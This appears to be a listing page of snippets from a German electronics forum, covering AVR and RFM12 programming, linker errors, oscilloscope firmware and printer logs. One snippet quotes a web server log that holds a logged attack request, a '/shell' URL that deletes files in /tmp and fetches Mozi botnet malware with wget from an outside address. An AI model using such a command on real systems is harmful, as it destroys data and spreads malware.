-
Thread
C++?!?
something *a = new something(); return 0; } [/c] Oder scheitert der auch mit sowas: [c] /tmp/ccEqo0Mb.o: In function `main': test.cpp:(.text+0xa): undefined reference to `operator new(unsigned int)' test.cpp:(.text+0x22): undefined reference to `operator delete(void*)' test.cpp:(.text+0x28): undefined reference to `__cxa_allocate_exception' test.cpp:(.text+0x36): undefined reference to `__cxa_throw' test.cpp:(.text+0x3e): undefined reference to `vtable for __cxxabiv1::__pointer_type_info' test.cpp:(.text+0x52): undefined reference to `vtable for __cxxabiv1
-
Thread
Sensoren mit RFM02/12, FOST02, HP03S (ASM)
z.Z. ein Mega88, wird vermutlich durch einen Tiny44 ersetzt werden. Nummer 5 mit RFM02 und einem TMP36S als Temperatursensor. Nr. 6 wurde auch zum Test mit dem internen Temperatursensor des Tiny45 betrieben. Dazu gibt es noch einen Steckbrett-Empfänger mit RFM12 (bisher auch nur Empfänger), Mega16
-
Thread
mit Bascom über rs232 Frequenz aus einen Frequenzzählermodul auslesen.
liefern kann. Lass die Zykluszeit zwischen 10 und 20 Prozessortakten betragen, dann sind das ca. 1,36µs. Ein Zeichen dauert bei 9600 Baud = 1,04ms. D.h. die ersten zwei Zeichen erwischt Du, weil wohl eines im UDR hängt und das zweite gerade empfangen wird, danach liest Inkey() 10 mal nichts, also Null
war es das selbe Verhalten, bei 115k benötigt ein Zeichen 86,8µs, währen Inkey() für eine Runde 1,36µs benötigt, für 10 Zeichen also 13,60µs, dann ist die Schleife fertig. Da kann nichts mehr kommen. > Trotz stundenlanger Suche in diversen Foren und Google habe ich bis > heute nicht begriffen, wie
-
Thread
Wittig(welec) DSO W20xxA Open Source Firmware
sauber importieren. Ansonsten, nochmal Kurzeinweisung fuer Falk: [pre] <0>[18:28]niklas@empire:/tmp/improved$ cat > src/newfile Inhalt <0>[18:28]niklas@empire:/tmp/improved$ svn add src/newfile A src/newfile <0>[18:28]niklas@empire:/tmp/improved$ svn diff Index: src/newfile ========
richtig erinnere. Wenn du unter Windows arbeitest sollte das exe aus meinem post vom 27.07.2009 16:36 gehen. Martin
-
Thread
Suche Lupenbrille
252FDQWDgHvTPUgbcd1dO%252BfySlFFB0d%252FII5oQ9%252FqwJsHIQmGzpFIHF2N0GVatlsSROJHa7g11RKRs2%252F2vAiyofCfDVk9IAsj36s40vFt65RMpmBIqE2HUVavAhOn0kKrAfkGtRfMSiapZy1%252BGhT8cFx6UErWu1xPLY6ZgdQ%252FbuBo4zbGozw1lgCH2C8A38zk9RJ7PhMGXPqx5EJPMCWZooqV70MP1DPVzOUhpSbj3sW79RVQSjqUqMiTx8UBmHEtF5UhUu%252Bs550zi0Py6RGJaGu4Vce3vwsRVPmZvAzU0jl8xRIcDnNylpiISwBDJVObTz4vveoG0WXSoML7KdCYy6%
cpc_organic&gmcCountry=DE&utm_content=minha&utm_campaign=minha-de-de-pc¤cy=EUR&cur_warehouse=CN&createTmp=1&utm_source=googleshopping&utm_medium=cpc_bgs&utm_content=frank&utm_campaign=frank-ssc-de-all-20bf11-1006-11sale&ad_id=471112227280&gclid=EAIaIQobChMI49Tr6LSw8AIVGCwYCh282A8cEAQYBSABEgK90fD_BwE
-
Thread
C versus Assembler->Performance Gesperrt
.L2: ldd r25,Y+1 ldd r24,Y+2 cp r25,r24 brne .L3 nop /* epilogue start */ pop __tmp_reg__ pop __tmp_reg__ pop __tmp_reg__ pop __tmp_reg__ pop r29 pop r28 ret .size SysTick_Handler, .-SysTick_Handler .ident "GCC: (GNU) 4.8.1" .global __do_clear_bss [/avrasm
[/code] diesen mit 9 Takten doch wesentlichen schnellern Code produziert: [code] clr __tmp_reg__ lsl r24 rol r25 rol __tmp_reg__ lsl r24 rol r25 rol __tmp_reg__ mov r24,r25 mov r25,__tmp_reg__ [/code]
-
Thread
Handykamera MCA-25 ansteuern
\nOK\r\n< [0D 0D 0A 2B 49 50 52 3A 20 28 29 2C 28 31 32 30 30 2C 32 34 30 30 2C 34 38 30 30 2C 39 36 30 30 2C 31 39 32 30 30 2C 33 38 34 30 30 2C 35 37 36 30 30 2C 34 36 30 38 30 30 29 0D 0A 0D 0A 4F 4B 0D 0A ] <<IN <<AT+CMUX=?. >>SEND>>AT+CMUX=?< [41 54 2B 43 4D 55 58 3D 3F ] >>SEND>>\r\r\n+CMUX
\nOK\r\n< [0D 0D 0A 2B 49 50 52 3A 20 28 29 2C 28 31 32 30 30 2C 32 34 30 30 2C 34 38 30 30 2C 39 36 30 30 2C 31 39 32 30 30 2C 33 38 34 30 30 2C 35 37 36 30 30 2C 34 36 30 38 30 30 29 0D 0D 0A 4F 4B 0D 0A ] <<IN <<AT+CMUX=?. >>SEND>>AT+CMUX=?< [41 54 2B 43 4D 55 58 3D 3F ] >>SEND>>\r\r\n+CMUX:
-
Thread
PIC16F628A PWM mit delay (ASM)
call_w 5, delay_sec ; und hier als loop loop call_w -90 DEG, set_servo movlw 12 movwf tmp loop_move call_w 10,delay_sec movlw (188 DEG) / 12 addwf servo_val decfsz tmp goto loop_move call_w 120,delay_sec goto loop set_servo movwf servo_val ;**************
Anfang stellen ;Variablenvergabe cblock 0x20 d1 ;3 Variablen für die 36 Sekunden d2 d3 e2 ;2 Variablen e3 ;für die 20ms, bei denen das bit auf 0 gesetzt sein muss ;Man könnte jedes mal den Wert berechnen, der
-
Thread
VOLTCRAFT DSO-3062C 60 MHz = baugleich mit?
/tmp/test10237.txt...ok len = 10237.. send shell msg ok..filesize=10237..sum=78 rec shell code=cat /tmp/test10238.txt...ok len = 10238.. send shell msg ok..filesize=10238..sum=133 rec shell code=cat /tmp/test10239.txt...ok len = 10239.. send shell msg ok..filesize=10239..sum=189 rec shell code=cat /tmp/test10240.txt...ok <-- Datei mit 10240 Bytes lesen! len = 10496..
-
Thread
cpp memory leaks vermeiden
581 object: 1 address: 599 [/code] Wen ich es richtig sehe, werden wohl für jedes Object 36 Bytes verbraucht. [c] #define LEDARRAYT_LEN 10 Flasher *Liste[LEDARRAYT_LEN]; void setup() { Serial.begin(115200); Idx = 0; Liste[Idx++] = new Flasher(12, 100, 400); Liste[Idx
arduino -I/home/christoph/tools/Arduino/arduino-1.8.6/hardware/arduino/avr/variants/eightanaloginputs /tmp/arduino_build_60317/sketch/TEST_objectDelete.ino.cpp -o /dev/null TEST_objectDelete:1:19: error: cstddef: No such file or directory compilation terminated. exit status 1 cstddef: No such file or
-
Thread
RFM12 mit Attiny25
RFM02 drauf, weil nur gesendet wird, aber vielleicht hilft es. Mit Fost02 als Sensor 1464 Byte mit TMP36S 1030 Byte. http://www.avr.roehres-home.de/sensoren/index.html Falls die C-Sourcen nicht auf der Webseite liegen, mal eine Email schicken, ich war da (leider) lange nicht mehr dran...
-
Thread
Beispielprogramm für RFM12 433MHz Funk-Module
der C Code für den Empfänger: [c] void receive(void) { unsigned char test[1]; uint8_t tmp; rf12_rxdata(test,1); tmp = atoi(test[0]); if(tmp > 0 && tmp < 10) { einer = tmp; } } [/c] Beim Build bekomme ich diese Warnung: [c] ../main.c:106: warning: implicit
Richard B. wrote: > Hier der C Code für den Empfänger: > tmp = atoi(test[0]); atoi nimmt char* als Argument, Du gibt ihm hier aber nur ein char. So wäre es richtig: tmp = atoi(test); Dann mußt Du allerdings auch sicherstellen, daß der String mit
-
Thread
AVR Attiny10 External Interrupt in C
vectors>: 0: 0a c0 rjmp .+20 ; 0x16 <__ctors_end> 2: 12 c0 rjmp .+36 ; 0x28 <__vector_1> 4: 10 c0 rjmp .+32 ; 0x26 <__bad_interrupt> 6: 0f c0 rjmp .+30 ; 0x26 <__bad_interrupt> 8: 0e c0 rjmp .+28 ; 0x26
//round up by default __ticks_dc = (uint32_t)(ceil(fabs(__tmp))); #endif __builtin_avr_delay_cycles(__ticks_dc); 3e: 4f e9 ldi r20, 0x9F ; 159 40: 56 e8 ldi r21, 0x86 ; 134 42: 61 e0 ldi r22, 0x01 ; 1 44: 41
-
Thread
alsa mit openwrt
installieren, wegen nicht aufgelöster Symbole. [c] root@OpenWrt:~# gcc -lasound alsa_test.c /tmp/ccfAJjdN.o: In function `main': alsa_test.c:(.text+0x20): undefined reference to `snd_pcm_open' alsa_test.c:(.text+0x38): undefined reference to `snd_strerror' collect2: error: ld returned 1 exit
target-arm_arm1176jzf-s+vfp_musl_eabi/usr/lib/libncursesw.so.6.1 -rwxr-xr-x 1 u u 304884 Nov 13 20:36 staging_dir/target-arm_arm1176jzf-s+vfp_musl_eabi/usr/lib/libncursesw.so.6.1 [/pre] Target (original Lib umbenannt in *orig*) [pre] root@OpenWrt:~# ls -l /usr/lib/libncursesw.orig.so.6.1 -rwxr-xr-x
-
Thread
Frequenzzähler 1Hz - 40MHz
* rising edge = gate closes */ register uint16_t tmp= ICR1; if (tmp < nref.w[0]) { --nref.b[2];
* rising edge = gate closes */ register uint16_t tmp= ICR1; if (tmp == 0) { ++nref.b[2]; } if (tmp < nref.w[0])
-
Thread
Probleme mit _delay_ AVR Atmel32
5c: de bf out 0x3e, r29 ; 62 5e: cd bf out 0x3d, r28 ; 61 60: 0e 94 36 00 call 0x6c ; 0x6c <main> 64: 0c 94 4f 00 jmp 0x9e ; 0x9e <_exit> 00000068 <__bad_interrupt>: 68: 0c 94 00 00 jmp 0 ; 0x0 <__vectors> 0000006c <main>: int main() {
out 0x18, r25 ; 24 #else //round up by default __ticks_dc = (uint32_t)(ceil(fabs(__tmp))); #endif __builtin_avr_delay_cycles(__ticks_dc); 76: 2f ef ldi r18, 0xFF ; 255 78: 31 ee ldi r19, 0xE1 ; 225 7a: 44 e0 ldi r20, 0x04 ; 4 7c: 21
-
Thread
Letzter Hilferuf AT91SAM7S - PWM oder PCK
reinfräsen und dann anlöten: http://www.frank-buss.de/tmp/m41t82.jpg Ja, sieht abenteuerlich aus, hat aber tatsächlich funktioniert :-) Profis machen das aber per Reflow-Löten. PCB-Pool bietet da auch was für den Hobbygebrauch an: man kann dort kostenlos
die Dead-Bug Technik (weil auf dem > Rücken liegender Käfer) anwenden: > http://www.frank-buss.de/tmp/dead-bug.jpg > Allerdings wird das bei vielen Pins und vielen nötigen Anschlüssen > schnell unübersichtlich. Hut ab meine Herren. Ich glaube mit meinem 5€ Lötkolben wäre der schnell in echt Tot :
-
Thread
Drucker drucht nicht mehr unbter Suse 12.3
Returning HTTP Forbidden for Cancel-Job (ipp://localhost/jobs/104) from localhost E [14/Sep/2013:09:23:36 +0200] Returning HTTP Forbidden for Cancel-Job (ipp://localhost/jobs/104) from localhost E [14/Sep/2013:09:23:53 +0200] Returning HTTP Forbidden for Cancel-Job (ipp://localhost/jobs/104) from localhost
localhost E [14/Sep/2013:09:34:01 +0200] [Job 105] The printer is not responding. E [14/Sep/2013:09:36:38 +0200] [Job 105] The printer is not responding. E [14/Sep/2013:09:39:15 +0200] [Job 105] The printer is not responding. E [14/Sep/2013:09:41:52 +0200] [Job 105] The printer is not responding. E
-
Thread
noch ein mal: avrdude: stk500_getsync(): not in sync:
carduino -P\\.\COM1 -b57600 -D -Uflash:w:C:\Users\Jochen\AppData\Local\Temp\build8734799225731062689.tmp\Blink.cpp.hex:i avrdude: Version 5.11, compiled on Sep 2 2011 at 19:38:36 Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/ Copyright (c) 2007-2009 Joerg Wunsch
-
Thread
bidirektionale RS232 Funkbrücke mit RFM12
: Meine Version der Baudratenfunktion: [c] void rfmSetBaud( uint16_t baud ) { uint16_t tmp; //minimal baudrate with cs=0 is about 2700 if( baud < 2700 ) { tmp = (344828/(baud*8)-1); //cs=1 BR=344828/(R+1)*(1xcs*7) } else { tmp = ((344828/baud)-1); //cs=0 BR=344828/(R+1) } rfmWrtCmd(0xC600|tmp); } [/c]
-
Thread
WordClock mit WS2812
meine Test-WC24h mit dem 4A-Netzteil. Und der Stecker macht schon Sinn. Maximal hängen da 2 x 18 = 36 LEDs an einem Flachbandkabel-Paar. 36 * 60mA = ca. 2A bei voller Leuchtstärke. Das passt schon. > Also ggf. den Strom für die LEDs gar nicht > über die Platine führen und direkt über die Stecker
command: set display colors to 30 32 0 (CMD 43 1E 20 24) command: set display colors to 30 32 36 (CMD 43 3F 20 24) command: set display colors to 63 32 36 (CMD 43 3F 3F 24) command: set display colors to 63 63 36 update display (CMD 54 10 0 [/code]
-
Thread
Schwachstellen oder der übliche Hackerscheiß
to INBOX: 1 Time(s) dovecot: service=lda, user=neu@domain.com, ip=[]. msgid=? <MN2PR20MB2590CCDFEE36F585F2599A54B90B0@MN2PR20MB2590.namprd20.prod.outlook.com>: saved mail to INBOX: 1 Time(s) ---------------------- Dovecot End ------------------------- --------------------- httpd Begin ------
default.htm: 1 Time(s) /muieblackcat: 1 Time(s) /search/tsc.php?200=MzMwMTU0NjA4&21=NjYuMj ... 5bc36c22f3&cv=1: 1 Time(s) /shell?cd+/tmp;rm+-rf+*;wget+http://42.235 ... tmp/Mozi.a+jaws: 1 Time(s) /sonne: 1 Time(s) 405 Method Not Allowed ip.ws.126.net:443: 1 Time(s) 408 Request Timeout null: 13
-
Thread
Minutengenaue 24 Stunden-Wortuhr - wer will mitbauen?
hier 36 LEDs/m https://www.slv.de/leuchten-leuchtmittel/flexled-roll-rgb-12v-552003.html
es ist im Programm aber natürlich nicht im Ablauf [c] void loop() { unsigned char j; char tmp_str[4]={0}; if(irmp_data.address==65280 && irmp_data.command==4 && led_hell>MIN_LEDHELL) { myGLCD.printNumI(--led_hell,66,36,3,' '); Serial.print(F("led_hell=")); Serial.println
-
Thread
wie finde ich das Speicherleak?
wozu überhaupt tmp dynamisch alloklieren? char bin[9+1]; damit würde auch das free entfallen
printf(" %c == %hu ", _cfe[a++], (unsigned short)_cfe[a]); [/code] meint es: [code] crap.c(36,29): Argument 2 modifies a, used by argument 3 (order of evaluation of actual parameters is undefined): printf(" %c == %hu ", _cfe[a++], (unsigned short int)_cfe[a]) Code has unspecified
-
Thread
MSP430F1612_2 Timer_2 Zeitbasen
User-Guide Seite 4-7 müssten das dann ca. 8MHz sein. Aber im Datenblatt zum F1612 steht auf Seite 36 für RSEL = 7, DCO = 7, MOD = 0 und DCOR = 0; bei 3V knapp 5MHz. Ja, was denn nun? Meint Ihr, dass könnte SO gehen? Vcc ist bei mir übrigens 3,3V. [c] DCOCTL = DCO0 + DCO1 + DCO2;
soll... >Wo schreib ich jetzt meine globalen Variablen rein? [c] // my_globals.c uint8_t my_tmp; [/c] [c] // my_globals.h extern uint8_t my_tmp; [/c] my_globals.h wird dann überall per #include eingebunden. Sieht aus wie doppelt gemoppelt, ist aber schon sinnvoll. MFG Falk